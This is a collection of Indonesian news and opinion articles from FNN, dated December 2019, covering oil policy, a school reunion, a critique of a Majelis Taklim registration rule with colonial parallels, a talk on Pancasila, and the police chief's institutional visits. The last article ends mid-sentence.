Menurunya produksi minyak dalam negeri ini pertanda bahwa ada persoalan serius dalam pengelolaan sektor migas entah itu di "Pertamina, SKK Migas dan BPH Migas” yang pasti, ketiga elemen dibawah Dirjen Migas Kementrian ESDM ini. Tau, apa penyebabnya? Oleh. M. Hassan Minanan Jakarta, FNN– Sebelum kita mulai, “boleh tidak kita sepakat bahwa forum ini hanya dalam rangka edukasi”. Bukan dalam rangka mempertentangkan polemik internal kabinet Pak Jokowi-Maaruf yang lagi ramai diperbincangkan. Begitulah kalimat penegasan yang santun oleh Mantan Wakil Menteri Energi Sumber Daya Mineral (ESDM) Arcandra Tahar. Mantan Wakil Menteri ESDM Arcandra menyampaikan hal tersebut, ketika menjadi pembicara pada talk-show bidang Pengembangan Sumber Daya Alam (PSDA) Pengurus Besar Himpunan Mahasiswa Islam (PB-HMI) yang diselenggarakan, di sekeretariat PB HMI Jalan Sultan agung No.25A Jakarta. Rabu, 4 Desember 2019 kemarin. Arcandra yang juga konseptor gross split ini mengingatkan sampai hari ini Tuhan hanya memberi ilmu kepada manusia yang sangat terbatas, sehingga kemampuan “teknologi” manusia untuk menghasil minyak itu baru 40 - 50%. Kapan mencapai 100% ? hanya Tuhan-lah yang tahu. Kapan ilmunya diturunkan hingga bisa mencapai 100% Catatan risert dunia cadangan minyak Indonesia sebanyak 3,2 miliar barel atau 0,2%” yang paling besar itu Venezuela 302,8 miliar barel. Sementara cadangan gas Indonesia sebanyak satu setengah dari total cadangan dunia, Itulah data yang dikutip oleh Arcandra. "Dalam pandangan Arcandra Tahar, kebutuhan energy Indonesia mencapai 1,4 juta barel per hari, sementara produksi Indonesia sekitar 750 ribu barel per hari untuk memnuhi kebutuhan tersebur maka Inport Indonesia antara 600 ribu". Pungkasnya. Skema Gross Split Pada kesempatan tersebut, Archandra juga mengingatkan tentang skema lelang migas oleh pemerintah sejak 2015-2019. Terkait efisiensi biaya eksploitasi migas. Pertama cost recovery dan kedua gross split. Targetnya, mendatangkan investor untuk berinvestasi pada blok migas dalam negeri. Skema Gross Split sendiri pertama kali diusulkan melalui Permen ESDM No.8 Tahun 2017 yang diterbitkan pada tanggal 13 Januari 2017. Gross Split adalah skema perhitungan bagi hasil pengelolaan wilayah kerja minyak dan gas bumi (migas) antara Pemerintah dan Kontraktor Migas yang di perhitungkan di muka. Melalui skema gross split, Negara akan mendapatkan bagi hasil migas dan pajak dari kegiatan eksplorasi dan eksploitasi sehingga penerimaan Negara menjadi lebih pasti. Perlu diketahui pada tahun 2015-2016, skema cost recovery sama sekali sepi dari peminat. Blok migas yang dilelang pada 2015 nol 2016 nol, tidak laku. Baru di 2017, berkat dukungan dari Komisi VII DPR RI Pemerintah mengganti skema kontrak bagi hasil menjadi gross split baru ada lima wilayah kerja yang laku untuk dikelola. Jumlah wilayah kerja yang laku itu kemudian bertambah lagi menjadi sembilan blok pada 2018 seiring dengan tetap digunakannya skema gross split hingga oktober 2019 laku tiga blok. “jadi kalau ada yang menanyakan skema gross split begini hasilnya (2015, 0. 2016, 0. 2017, 5. 2018, 9. 2019, 3)” Prosentase pembagian antara PSC Gross Split dan PSC Cost Recovery sebenarnya memiliki sifat yang sama yaitu dua-duanya berfluktuasi. Tidak tetap dan sama sepanjang kontrak 30 tahun. Hanya yang membedakan adalah variabel yang berpengaruh. Dalam PSC Gross Split jauh lebih banyak variabel yang mempengaruhi dibandingkan dengan PSC Cost Recovery (Katadata.co.id) Dua skema pemerintah ini, merupakan pilihan sebagai stimulus dan motivasi. Prinsipnya kerjasama untuk saling dukung-mendukung, bergotong royong demi mencari manfaat bersama dan bukan mencari kelemahan apalagi menunggangi. Pemerintah jangan lemah dan lengah menuju tujuan kesejahteraan rakyat, mensejahterakan rakyat itu adalah mimpi Negara yang merdeka.

Bhajoelan Moelih, Reuni 40 Tahun Bhawikarsu '79 SMA Negeri 3 Malang

Oleh Mochamad Toha Jakarta, FNN - SMA Negeri 3 Malang pada Sabtu, 14 Desember 2019, bakal menggelar Reuni 40 Tahun Bhajoelan (Bhawikarsu ’79). Gelaran ini bakal diikuti sekitar 200 orang alumni SMAN 3 Malang angkatan 1979. Acara reuni berlangsung di SMAN 3 Malang dan Waroeng Daoen, milik Presiden “Republik Telo” Unggul Abinowo, alumni Bhawikarsu ’79 SMAN 3 Malang yang berhasil membangun Sentra Pengembangan Agribisnis Terpadu (SPAT). Pemilihan tempat reuni di Waroeng Daoen ini, selain tempatnya bagus dan nyaman, juga untuk mengenang Unggul. “Di alumni Bhajoelan ini ada Andreas Eddy Susetyo, anggota DPR RI, Dr Hari Suprayogi yang Dirjen SDA, dr. Evit Ruspiono, Sp JP, dokter spesialis jantung yang jago ngeband. Juga ada Ir. Nugroho Budi, ahli KNKT, Novianto Heru Pratomo, mantan DirOps Garuda Indonesia, dan banyak lagi tokoh-tokoh yang sukses lainnya,” kata Mbak Tanty panggilan akrab dari Dra. Martanty Soenar Dewi, MM. Beberapa tokoh alumni SMAN 3 Malang yang dikenal selama ini diantaranya yaitu Ir. Cacuk Sudarijanto (Menteri Muda Urusan Rekstrukturisasi Ekonomi Nasional Kabinet Persatuan Nasional periode 2000-2001), Abadi Soesman (musisi dan pencipta lagu); Wahyu Aditya (Animator), Laksamana TNI Arief Koeshariadi (Kepala Staf TNI Angakatan Laut periode 1996-1998), Indra Prastomiyono, Laksda TNI Agung Pramono (Panglima Komando Armada Indonesia Kawasan Indonesia Timur periode 2012-2014); Marsda TNI Muhammad Syaugi, SSos (Dirjen Renhan Kemhan RI 2014 - Sekarang); Prof. DR Sutan Remy Sjahdeini, SH (Guru Besar Fakultas Hukum Universitas Airlangga). Reuni yang digawangi Mbak Tanty sebagai Ketua Panitia ini dibantu oleh DR Sitawati, DR Ratna Rositawati, dan Erna Atiwi Jaya Esti, SE, MM harus bekerja ektra keras agar bisa menghimpun peserta yang sebanyak-banyaknya. Apalagi, dengan segala pernik kebutuhan dan acara yang harus dipersiapkan agar tahun ini berjalan meriah dan memuaskan peserta dalam waktu yang hanya sebulan. “Reuni 40 tahun ini kita anggap sebagai golden moment karena rata-rata usia sudah menjelang 60 tahun. Sebab, elum tentu 5 tahun lagi kita masih kuat dan sehat seperti saat ini,” lanjut Mbak Tanty. Dari segi peserta yang berjumlah hampir mencapai 200 orang, ini luar biasa. Karena, selama ini peserta reuni tiap tahun yang hadir berkisar antara 50-100 orang. Dalam acara reuni nanti, akan ada hiburan dari Bhajoelan Band dan SB Rock Band, serta class perform dari masing-masing kelas dulu. “Kami juga mengundang guru-guru yang masih ada, yang dulu mengajar kami, juga serah terima pembangunan taman sekolah, dan lain-lain,” ujar Mbak Tanty. Sekilas Bhawikarsu SMAN 3 Malang atau yang juga dikenal sebagai Smanti atau Bhawikarsu terletak di Kota Malang. Sekolah yang terletak di kawasan Tugu ini merupakan salah satu sekolah terfavorit di Kota Malang. Sekolah ini terletak di dalam satu kompleks dengan Stasiun Malang yang dikenal dengan sebutan SMA Tugu bersama-sama dengan SMAN 1 Malang dan SMAN 4 Malang. SMAN 3 Malang lahir pada 8 Agustus 1952 berdasarkan Surat Keputusan Menteri PP dan K nomor 3418/B pada 8 Agustus 1952. Pada saat itu bernama SMA B-II Negeri Malang. Secara kronologis perubahan nama itu dapat dijelaskan sebagai berikut: Tidak lama setelah pengakuan kedaulatan RI pada 27 Desember 1949, di kota Malang berdiri 2 buah SMA, yaitu SMA Republik Indonesia dan SMA Federal (VHO). Para pejuang TRIP, TP, TGP dan alain-lain yang sudah kembali ke sekolah ditampng di SMA Federal. Pada 8 Agustus 1952, jurusan B (Pasti Alam) SMA Republik Indonesia dan SMA Peralihan digabung menjadi satu berdasarkan SK Menteri PP dan K nomor 3418/B dan diberi nama SMA B-II Negeri. Pemberian nama ini disebabkan telah berdiri dua buah SMA. Akhirnya diadakan perubahan nama berdasarkan urutan usianya yaitu: SMA A/C menjadi SMA I A/C, SMA Federal menjadi SMA B-I Negeri. SMA B-I Negeri kemudian diubah menjadi SMA I-B dan SMA II-B. Nama ini akhirnya dirasakan kurang tepat karena seakan-akan ada SMA B yang kualitasnya lebih tinggi daripada yang lain. Aklhirnya diadakan perubahan nama ketiga SMA yang ada di Malang itu berdasarkan usianya, yaitu: SMA A/C menjadi SMA 1A/C, SMA 1B menjadi SMA II-B, SMA II-B menjadi SMA III-B. Kemudian SMA I A/C dipecah menjadi dua sekolah yaitu SMA I A/C dan SMA IV A. Timbulnya SMA Gaya Baru pada 1963 yang mengharuskan semua SMA mempunyai jurusan yang sama yaitu: Budaya, Sosial, Ilmu Pasti, dan Ilmu Pengetahuan Alam membawa pengaruh pada dihapuskannya nama tambahan A, B, atau C pada urutan nama keempat SMA yang ada di kota Malang. Menjadi SMU Negeri 3 Malang berdasarkan SK Mendikbud RI nomor 035/O/1997. Kembali menjadi SMA Negeri 3 Malang pada tahun 2002. SMA Negeri 3 Malang merupakan Rintisan Sekolah Bertaraf Internasional (RSBI) yang bertujuan menghasilkan lulusan unggul dan dapat bersaing di tingkat nasional maupun internasional. Profil siswa yang diharapkan dari RSBI salah satunya adalah memiliki kecakapan hidup yang dikembangkan berdasarkan multiple intelegensi mereka dan memiliki integritas moral tinggi. Dalam upaya untuk memenuhi standar mutu pengelolaan pendidikan, mulai Tahun Ajaran 2007/2008 SMA Negeri 3 Malang telah menerima sertifikat standar manajemen mutu ISO 9001:2000 sebagai langkah awal untuk meningkatkan mutu layanan pendidikan dan meraih pengakuan. Penulis wartawan senior )*

Majelis Taklim Ordonnantie

Oleh: Hanibal W Y Wijayanta Jakarta, FNN - Dengan iming-iming dana, semua Majelis Taklim kini harus terdaftar di Kantor Kementerian Agama. Mengapa harus mengulang Goeroe Ordonnantie di masa Hindia Belanda? “Ketika sejarah berulang, hal tak terduga selalu terjadi, dan akhirnya kita menyadari, betapa manusia tidak pernah belajar dari pengalaman…” Pernyataan filsuf Irlandia George Bernard Shaw di awal abad 19 itu terbukti pekan lalu, ketika Kementerian Agama mengeluarkan sebuah beleid baru. Sebab ternyata beleid itu hanyalah pengulangan dari apa yang pernah terjadi di masa Hindia Belanda. Beleid baru Kementerian Agama itu adalah Peraturan Menteri Agama No 29 tahun 2019. Peraturan terdiri dari enam Bab dengan 22 pasal, dan mengatur tentang Majelis Taklim. Pada pasal 1 dijelaskan bahwa Majelis Taklim adalah lembaga atau kelompok masyarakat yang menyelenggarakan pendidikan keagamaan Islam non formal sebagai sarana dakwah Islam. Pada pasal 2 disebutkan, Majelis Taklim mempunyai tugas meningkatkan pemahaman, penghayatan, dan pengamalan ajaran agam Islam. Lalu pada pasal 3 diuraikan, dalam melaksanakan tugas, Majelis Taklim menyelenggarakan fungsi: pendidikan agama Islam bagi masyarakat; pengkaderan ustadz dan/atau ustadzah, pengurus, dan jemaah; penguatan silaturahmi, pemberian konsultasi agama dan keagamaan; pengembangan seni dan budaya Islam; pendidikan berbasis pemberdayaan masyarakat; pemberdayaan ekonomi umat; dan/atau pencerahan umat dan kontrol sosial dalam kehidupan berbangsa dan bernegara. Sementara, pada pasal 4 disebutkan bahwa Majelis Taklim mempunyai tujuan: meningkatkan kemampuan dan keterampilan dalam membaca dan memahami Al-Qur’an; membentuk manusia yang beriman, bertaqwa, dan berakhlak mulia; membentuk manusia yang memiliki pengetahuan agama yang mendalam dan kompregensif; mewujudkan kehidupan beragama yang toleran dan humanis; dan memperkokoh nasionalisme, kesatuan, dan ketahanan bangsa. Pada pasal 5 dijabarkan: perseorangan, kelompok orang, organisasi kemasyarakatan, lembaga pendidikan, masjid, dan mushala dapat mendirikan majelis taklim. Semua seolah-olah baik-baik saja. Dalam pasal-pasal itu pemerintah tampak memberi kebebasan kepada warga untuk mengelola pendidikan Islam di tengah masyarakat secara mandiri. Tapi tunggu dulu. Lihat pasal 6 ayat 1! Majelis Taklim ternyata, harus terdaftar pada Kantor Kementerian Agama. Lalu pada ayat 2 dijelaskan: Pendaftaran Majelis Taklim dilakukan dengan mengajukan permohonan secara tertulis oleh pengurus kepada Kepala Kantor Kementerian Agama atau melalui Kepala KUA Kecamatan. Lalu, pada pasal 7 diterangkan tentang keharusan dokumen kelengkapan permohonan. Jika dokumen permohonan pendaftaran lengkap, menurut pasal 8, Kepala KUA Kecamatan menyampaikan dokumen pendaftaran kepada Kantor Kementerian Agama. Lalu berdasarkan pasal 9, setelah berkas dinyatakan lengkap, Kepala Kantor Kementerian Agama menerbitkan Surat Keterangan Terdaftar (SKT) Majelis Taklim. Surat Keterangan Terdaftar berlaku lima tahun, dan dapat diperpanjang. Perpanjangannya harus mengikuti prosedur birokrasi yang diatur dalam pasal 10, dan bisa ditolak. Pasal selanjutnya, pasal 11, 12, 13, 14, 15, 16, dan 17, termasuk di dalam BAB III tentang Penyelenggaraan. Bab ini memerinci tentang soal administratif penyelenggaraan Majelis Taklim. Isinya lebih bersifat umum, meliputi pengurus dan struktur kepengurusan Majelis Taklim, ustadz dan/atau ustadzah pembina dan pembimbing Majelis Taklim, jemaah, tempat kegiatan, serta materi dan metode pengajaran di Majelis Taklim. Tak ada yang janggal dalam pasal-pasal ini. Nah, klausul menarik kembali muncul pada BAB IV tentang Pembinaan. Sebab, pada pasal 18, ayat 1, diterangkan bahwa pembinaan Majelis Taklim dilaksanakan oleh Direktur jenderal Bimbingan Masyarakat Islam, Kepala Kantor Wilayah Kementerian Agama Provinsi; dan Kepala Kantor Kementerian Agama. Sedangkan ayat 2 menjelaskan: Pembinaan meliputi aspek, kelembagaan, manajemen, sumber daya manusia, dan materi. Lalu, pada pasal 19 diuraikan: Majelis Taklim melaporkan kegiatan kepada Kepala Kantor Urusan Agama atau melalui Kepala KUA Kecamatan setiap akhir tahun, paling lambat tanggal 10 Januari tahun berikutnya. Kepala KUA Kecamatan lalu menyampaikan laporan kegiatan Majelis Taklim itu kepada Kepala Kantor Kementerian Agama. Sebagai bumbu penyedap, iming-iming menggiurkan dimunculkan dalam BAB V, yakni tentang Pendanaan. Sebab, menurut pasal 20 disebutkan bahwa, pendanaan penyelenggaraan Majelis Taklim dapat bersumber dari pemerintah, pemerintah daerah, serta sumber lain yang sah dan tidak mengikat sesuai dengan ketentuan peraturan perundang-undangan. Iming-iming itu pula yang diungkap Menteri Agama Jenderal (Purn.) Fachrul Razi usai Rapat Senat Terbuka Dies Natalis ke-53 UIN Imam Bonjol di Padang, Jumat (29/11/2019) lalu. Kata Fachrul, aturan pendaftaran Majelis Taklim dibuat untuk memudahkan Kemenag dalam memberikan bantuan. “Supaya kita bisa kasih bantuan ke majelis taklim. Kalau tidak ada dasarnya nanti kita tidak bisa kasih bantuan,” ujarnya. Karena itu, kata Fachrul, beleid baru yang sudah diundangkan sejak 13 November 2019 itu sangat baik. “Tujuannya positif sekali,” kata bekas Wakil Panglima TNI itu. Ia membantah dugaan jika peraturan dibuat untuk mencegah masuknya aliran radikal ke majelis taklim. “Tidak. Saya tidak melihat sesuatu yang aneh di majelis taklim,” ujarnya. Boleh saja Menteri Agama berkilah, namun, beberapa organisasi Islam langsung mempertanyakannya. Ketua Umum PP Muhammadiyah Haidar Nasir menganggap pemerintah terlalu mengatur ranah aktifitas keumatan di akar rumput. Ketua PB NU KH Abdul Manan Gani menganggap peraturan itu akan merepotkan majelis taklim, ustadz, maupun jamaah. Wakil Ketua Persatuan Islam Jeje Zainudin menilai, aturan ini adalah justifikasi untuk mengawasi pengajian. Ketua Komisi Dakwah Majelis Ulama Indonesia menganggap implementasi PMA tak akan efektif. Fakta selanjutnya yang akan berbicara. Sebab, meski tidak selalu sama dan sebangun, ummat Islam di negeri ini sudah beberapa kali mengalami peristiwa yang hampir mirip dengan situasi dan kondisi terakhir ini, serta mendapati peraturan yang mirip dengan peraturan yang baru keluar ini. Meski pelaku dan intensitasnya sedikit berbeda, perulangan sejarah adalah sebuah keniscayaan. Pemerintah Orde Baru juga pernah menerapkan kebijakan keras kepada ummat Islam. Dengan dalih keamanan dan ketertiban, pada era 1970-1980-an, Komando Operasi Pemulihan Keamanan dan Ketertiban (Kopkamtib) mengeluarkan Surat Izin Mubaligh (SIM). Mubaligh, ustadz, kiai, maupun ajengan yang tak mengantongi SIM, bisa diberhentikan khotbahnya, diturunkan dari mimbar, atau bahkan diciduk dan diinapkan di tahanan Kodim atau Laksus (Pelaksana Khusus) Kopkamtib daaerah. Pada tahun 1978, Departemen Agama juga pernah mengeluarkan peraturan untuk mengawasi dakwah. Misalnya, Peraturan Menteri Nomor 44 Tahun 1978, Peraturan Menteri Agama Nomor 9 Tahun 1978, dan Peraturan Pengganti Nomor 3 Tahun 1978. Berdasarkan aturan-aturan itu, isi khotbah yang akan disampaikan kepada lebih dari 300 orang jemaah, termasuk lewat radio, harus disaring dan diseleksi lebih dulu oleh Departemen Agama. Hal yang sama pernah terjadi pula di masa Hindia Belanda. Salah satu kebijakan pemerintah Hindia-Belanda yang menekan ummat Islam adalah Goeroe Ordonnantie atau Peraturan Pemerintah tentang Guru. Goeroe Ordonnantie pertama dikeluarkan tahun 1905. Guru yang dimaksud di sini adalah guru agama Islam. Sebab, dengan Ordonansi ini, Pemerintah Hindia Belanda mewajibkan setiap guru agama Islam meminta dan memperoleh izin terlebih dahulu sebelum mulai bertugas sebagai seorang guru agama. Goeroe Ordonnantie digagas pemerintah Hindia Belanda pasca pemberontakan petani Banten, 1888. Saat itu, –tahun 1890— Karel Frederik Holle, Penasehat Kehormatan Urusan Pribumi di Departemen Layanan Sipil (Adviseur Honorair voor Inlandsche Zaken bij het Departement van Binnenlandsch Bestuur) menyarankan agar pendidikan agama Islam diawasi. Sebab, kata Holle, pemberontakan petani Banten dimotori para haji dan guru-guru agama. Sejak itu terjadi perburuan para guru agama, ustadz, kiai, dan ajengan di Pulau Jawa. Demi penyeragaman pengawasan guru-guru agama Islam, Holle menyarankan agar Bupati melaporkan daftar guru di daerahnya tiap tahun. Pada 1904, Snouck Hurgronje –pengganti Holle— mengusulkan agar pengawasan guru-guru agama meliputi izin khusus dari Bupati, daftar guru dan muridnya, sementara pengawasan oleh Bupati harus dilakukan suatu panitia. Setahun kemudian, lahirlah peraturan tentang pendidikan agama Islam yang terkenal dengan nama Goeroe Ordonnantie. Ordonansi berlaku di Jawa-Madura kecuali di Yogyakarta dan Solo, dan diundangkan dalam Staatsblaad 1905 nomor 550. Salah satu isi Goeroe Ordonnantie yang dimuat dalam Staatsblaad 1905 nomor 550, antara lain adalah: Seorang guru agama Islam baru dibenarkan mengajar bila sudah memperoleh izin dari Bupati. Izin itu baru diberikan apabila guru agama itu jelas-jelas bisa dinilai sebagai “orang baik”, dan pelajaran yang diberikannya tidak bertentangan dengan keamanan ketertiban umum. Guru agama Islam juga harus mengisi daftar murid, di samping harus menjelaskan mata pelajaran yang diajarkannya. Bupati atau instansi yang berwewenang boleh memeriksa daftar itu sewaktu-waktu. Guru agama Islam bisa dihukum kurungan maksimum delapan hari atau denda maksimum dua puluh lima rupiah, bila mengajar tanpa izin, atau lalai mengisi atau mengirimkan daftar itu; atau enggan memperlihatkan daftar itu kepada yang berwewenang, berkeberatan memberikan keterangan, atau enggan diperiksa oleh yang berwewenang. Dua dasa warsa berselang, Goeroe Ordonnantie 1905 yang mewajibkan guru-guru agama Islam meminta “izin praktek”, dinilai kurang efisien. Sebab, laporan tentang guru agama dan aktivitasnya –yang secara periodik dilaporkan Bupati— dinilai kurang meyakinkan. Di samping itu, situasi politik masa itu dinilai sudah tak lagi memerlukan “pemburuan” guru agama. Maka, pada tahun 1925 dikeluarkanlah Goeroe Ordonnantie yang baru. Berbeda dengan Goeroe Ordonnantie pertama, Goeroe Ordonnantie kedua hanya mewajibkan guru agama melaporkan diri dan kegiatan mereka, bukan lagi meminta “izin praktek”. Namun kedua ordonansi ini sama saja fungsinya: menjadi media pengontrol bagi pemerintah kolonial untuk mengawasi sepak terjang para pengajar dan penganjur agama Islam di negeri ini. Beleid baru ini tak hanya berlaku di Jawa-Madura saja. Sejak Januari 1927, Goeroe Ordonnantie kedua juga diberlakukan di Aceh, Sumatera Timur, Riau, Palembang, Tapanuli, Manado, dan Lombok. Pada tahun tiga puluhan Goeroe Ordonnantie kedua berlaku pula di Bengkulu. Dalam prakteknya, seperti Goeroe Ordonnantie pertama, Goeroe Ordonnantie kedua juga bisa dimanfaatkan untuk menghambat pengajaran Islam, meski itu bukan tujuan yang tercantum dalam ordonansi. Karena itu, beberapa pimpinan organisasi Islam mengeluh. Ketua Umum Muhammadiyah H. Fachruddin mengatakan, sejak diumumkannya ordonansi itu, berbagai rintangan ditimbulkan untuk menghalangi kemajuan dan penyebaran Islam di Indonesia. Maka, pada Kongres Al-Islam di Bogor, 1 – 5 Desember 1926, organisasi-organisasi Islam yang dimotori Muhammadiyah, menolak pengawasan pendidikan agama dengan Ordonansi baru ini. Bahkan dalam Kongres XVII, 12 – 20 Februari 1928, Muhammadiyah dengan keras menuntut agar Goeroe Ordonnantie ditarik kembali. Kaum muslimin Sumatera Barat juga menentang, ketika pemerintah Hindia Belanda hendak menerapkan Goeroe Ordonnantie kedua di sana. Tahun 1935, Snouck Hurgronje masih berpendapat, Goeroe Ordonnantie perlu dipertahankan meski dengan beberapa perubahan. Namun, situasi telah berubah, dan nasehat Snouck Hurgronje, arsitek Goeroe Ordonnantie 1905, sudah tak ampuh lagi. Goeroe Ordonnantie akhirnya kehilangan urgensi dan akhirnya menghilang dari peredaran. Lalu, haruskah kita mengulang hal yang sama? Penulis wartawan utama.

Anggota DPR RI. M. Sarmuji; Bersama Merawat Persatuan Indonesia

Dinamika yang berkembang dalam masyarakat akhir-akhir ini, pertanda bahwa perlu adanya instrumen yang dapat digunakan untuk menyamakan presepsi, mindset dan rasa toleransi bersama, hal itu membuahkan asas atau pijakan yang tak lain ialah kepentingan ideologi kita (Pancasila). Oleh. M. Hassan Minanan Jakarta, FNN – Founding fathers kita, telah final menyusun konsep pemersatu dari kurang lebih 13.466 pulau dan 750 suku bangsa yang tersebar seluruh Indonesia. Bahwa Pancasila adalah dasar Negara dan Pancasila merupakan payung dari UUD 1945 yang menjadi sumber dari segala sumber hukum Negara. Anggota Dewan Perwakilan Rakyat RI. M. Sarmuji menyampaikan hal tersebut, saat menjadi pembicara pada sosialisasi empat pilar Majelis Permusyawaratan Rakyat Republik Indonesia (MPR RI) di Gedung Serbaguna Wonodadi, Kabupaten Blitar, Jawa Timur, Rabu 4 Desember 2019. Dalam pandangan Anggota Dewan Praksi Golkar kepada 150 warga yang hadir sebagai peserta sosialisasi tersebut. Pilihan Pancasila sebagai dasar negara tentu mempunyai nilai yang kuat. Itulah sebabnya, para Founding Fathers menyebut pancasila sebagai Philosophische Grondslag, sebagai pandangan hidup berbangsa dan bernegara. Sampai pada titik ini Sarmuji menyatakan. Titik tolak multietnik dan dimensi multikulture yang menyertainya untuk mempertegas bahwa pancasila tidak bisa dipisahkan dari keberadaan Indonesia, pancasila itu adalah ruh eksistensi Indonesia. Menurut Sarmuji Pancasila telah mempersatukan kita. Karena kita memiliki satu pandangan dengan saudara-saudara kita di Papua, Kalimantan, Sulawesi, Sumatera, Jawa, Bali, Maluku dan pulau lainnya menjadi satu kesatuan. Menumbuhkan rasa kebersamaan Nasionalisme, mengajarkan kita untuk saling mencintai diantara kita. Pancasila juga mengajarkan kita untuk hidup saling mengasihi diantara sesama manusia. Istilah Bhineka menjadi tunggal ika menjadi landasan melalui sidang BPUPKI & PPKI secara musyawara mufakat, kemudian menjadi sila ke-3 Pancasila, yaitu “Persatuan Indonesia". Dan UUD 1945 sebagai konstitusi yang mengatur Bangsa dan Negara dalam bingkai Negara Kesatuan Republik Indonesia. Sejarah masa lalu, posisi perjuangan dan pejalanan masa depan akan mengikat kita. Untuk itu, jangan sampai ada pihak yang bisa memisahkan kita. Sebab kita bisa bersama-sama dalam mencitapkan pilar-pilar yang saling menghormati, menyayangi dan mencintai diantara kita. Tujuannya, mendukung kebaikan bersama bagi generasi yang akan datang. Butuh Kedewasaan Pada kesempatan itu, Sarmuji juga mengingatkan. Meskipun Pancasila tetap tegak berdiri mengawal pelaksanaan roda pemerintahan, tetapi dari masa ke masa sejak awal kemerdekaan hingga hari ini mempunyai corak atau konfigurasi politik yang berbeda-beda. Pancasila yang sesungguhnya menjadi dasar, asas, atau pijakan dalam pelaksanaan birokrasi yang demokratis justeru pada masa Orde Baru, jaman Soeharto berkuasa penggunaan kata “Pancasila” mengalami overdosis atau terjadinya kekacauan epistemologis pada konteks politik. Sehingga, meskipun tindakan-tindakan inkonstitusi sekalipun dilandasi atau didalilkan simetris dengan Pancasila. Kegaduhan dan kericiuan terus mewarnai kehidupan berbangsa dan bernegara kita. Beragam isu yang menjadi reaksi masyarakat, hal itu merupakan dampak dari konflik yang masuk ke dalam nilai. Sehingga menambah muatan pertarungan bahkan dengan prinsip survivel of the fittest memicu terbelahnya sosial menimbulkan potensi masing-masing pihak bertahan atas nilai dan keyakinannya sendiri-sendiri. Adnan Buyung Nasution mengatakan ada tiga kelompok ideologis yang bertarung dalam debat Badan Konstituante (Lembaga Pembentuk UUD) sepanjang tahun 1955-1957. Buyung mengatakan itu dalam “The Aspiration for Constitutional Government in Indonesia 1992, yang berbasis disertasinya di Universitas Utrecht Belanda. Ketiga kelompok tersebut adalah, kelompok Pancasila yang diwakili oleh Partai Nasional Indoensia (PNI), Kelompok Islam oleh Masyumi dan Nahdatul Ulama dan Kelompok Sosial-Ekonomi oleh Partai Murba Dan Partai Buruh (fnn.co.id) Berdasarkan latar belakangnya, secara psikologis hal itu tidak sekedar melahirkan rasa tidak tentram dan tidak nyaman, kemampuan untuk mengatur, mengurus, mengelolah dan mendaya-gunakan selaga potensi yang dimiliki ada jejak langkah yang telah jauh keluar koridor dalam mebangun presepri dan mindset masyarakat. Serta tidak sungguh-sungguh berupaya menjalankan amanah kekuasaan, dalam keberpihakan kepada seluruh rakyat. Inilah rekayasa adudomba yang dirasakan rakyat. Perjalanan “panjang dan gelap gulita” itu terus terjadi, selama kita tidak menyadari bahwa pancasila dan Undang-Undang Dasar kita, nyaris disobek-sobek oleh bangsa Negara luar alias aasiing. Bila ada yang muncul sebagai panglima, yang menjalankan amanat sesuai Pesan pancasila dan UUD 2945 benar-benar dihadang tanpa ada celah. seperti kata para pakar, Negara kita sedang berada dalam sebuah kapal rusak. Itulah Indonesia. Barangkali tidak salah mengatakan, katanya Mpu Tantular “Bhineka Tunggal Ika, Tan Hanna Dharma Mangrwa” berbeda warna kulit, dan rambut alias beraneka ragam namun tetap tunggal jua. Adalah penegasan loyalitas tunggal pada ibu pertiwi. Upaya menata dan merumuskan kembali sistem nilai dan jejaring sosial itu bisa dilakukan pada beberapa strata sosial, kalau pemulihan nilai belum terselesaikan di tingkat nasional pun juga sulit di tingkat provinsi. Maka, hal itu bisa dilakukan pada tingkat komunitas pedesaan, serta lingkup keluarga supaya hubungan tetap terjaga dengan baik. Dilihat dari banyak komunitas pedesaan yang mampu membangun rasa kebersamaan, rasa persaudaraan dan terlihat seperti acuh dan tak mau tahu dengan segala urusan Negara atau media sosisal yang heboh. Hal itu merupakan gejala yang mana sebagian besar warga negara telah kehilangan panutan, kerana nilai-nilai telah larut ke lautan bebas. tetapi dalam kondisi begini bukan berarti tak ada harapan. harapannya ada pada komunitas pedesaan dan keluarga. Semoga, segala ikhtiar untuk menjadikan Indonesia sebagai sebuah bangsa yang kuat, utuhdan dan tidak mudah terpecah selalu ada solusi yang terbaik kedepannya. *Penulis adalah Wartawan Yunior*

Silaturrahim, Cara Kapolri Idham Meredam Perbedaan

By Kisman Latumakulita Jakarta, FNN – Rasulullaah SAW bersabda waman kaana yu’minu billaahi walyaumil akhir, falyashil rahimahu. Artinya, “Barang siapa beriman kepada Allah dan hari akhir, maka hendaklah dia menyambung tali silaturrahim”. Pada Hadits yang lain Rasulullaah SAW bersabda man ahabba an yubsatha lahu fii rizkihi wayunsaa’a lahu fii atsarihi falyashil rahimahu. Artinya, “Barang siapa yang ingin dilapangkan rezekinya dan dipanjangkan umurnya, maka hendaklah dia menjalin hubungan silaturrahim”. Jendral Polisi Idham Azis dilantik sebagai Kapolri pada Jum’at, 1 November 2019 di oleh Presiden Jokowi. Setelah dilantik di Istana Negara, ba’da sholat Jum’at itu juga Kapolri silaturrahim ke Panglima TNI Marsekal Hadi Tjahjanto di Jalan Medan Merdeka Barat. Kunjungan itu untuk membangun sinergitas TNI-Polri dalam menjaga keamanan di dalam negeri. Pada hari pertama, minggu pertama bertugas sebagai Kapolri, Senin siang 4 November 2019, Jendral Idham bersilaturrahim ke Pimpinan Komisi Pemberantasan Korupsi (KPK) di jalan Rasuna Said, Kuningan. Kunjungan ke KPK juga untuk membangun kebersamaan dan sinergitas. Bergandengan tangan antara Polisi dan KPK dalam rangka penegakan dan pencegahan kasus-kasus tindak pidana korupsi. Kondensat Rp 37,8 Triliun Mangkrak Setelah bersilaturrahim ke Panglima TNI dan KPK, Senin sore masih di tanggal yang sama, 4 November 2019, giliran Kapolri Idham silaturrahim ke Jaksa Agung ST Burhanuddin di Kejaksasaan Agung, jalan Sisingamangaraja. Kunjungan ke Kejaksaan Agung ini adalah kunjungan ketiga Idham sebagai Kapolri ke instansi vertikal pemerintahan dan negara. Silaturrahim ke Jaksa Agung menjadi penting bagi Jendral Idham. Kapolri paham betul cara dan pola penangan perkara yang ditangani polisi, pasti berujung di pemeriksaan jaksa. Targetnya agar perkara yang disidik polisi bisa cepat dan lancar sampai dengan disidangkan di pengadilan. Sebagai orang reserse dan Kepala Badan Reserse Kriminal (Kabareskrim) Polri, Idham sangat paham pentingnya membangun hubungan yang indah, asyik, dan harmonis dengan jajaran kejaksaan. Sudah benar Idham berkunjung ke Kejaksaan Agung. Sebab sampai sekarang, masih banyak perkara yang ditangani polisi mangkrak di Kejaksaan Agung, Kejaksaan Tinggi, dan 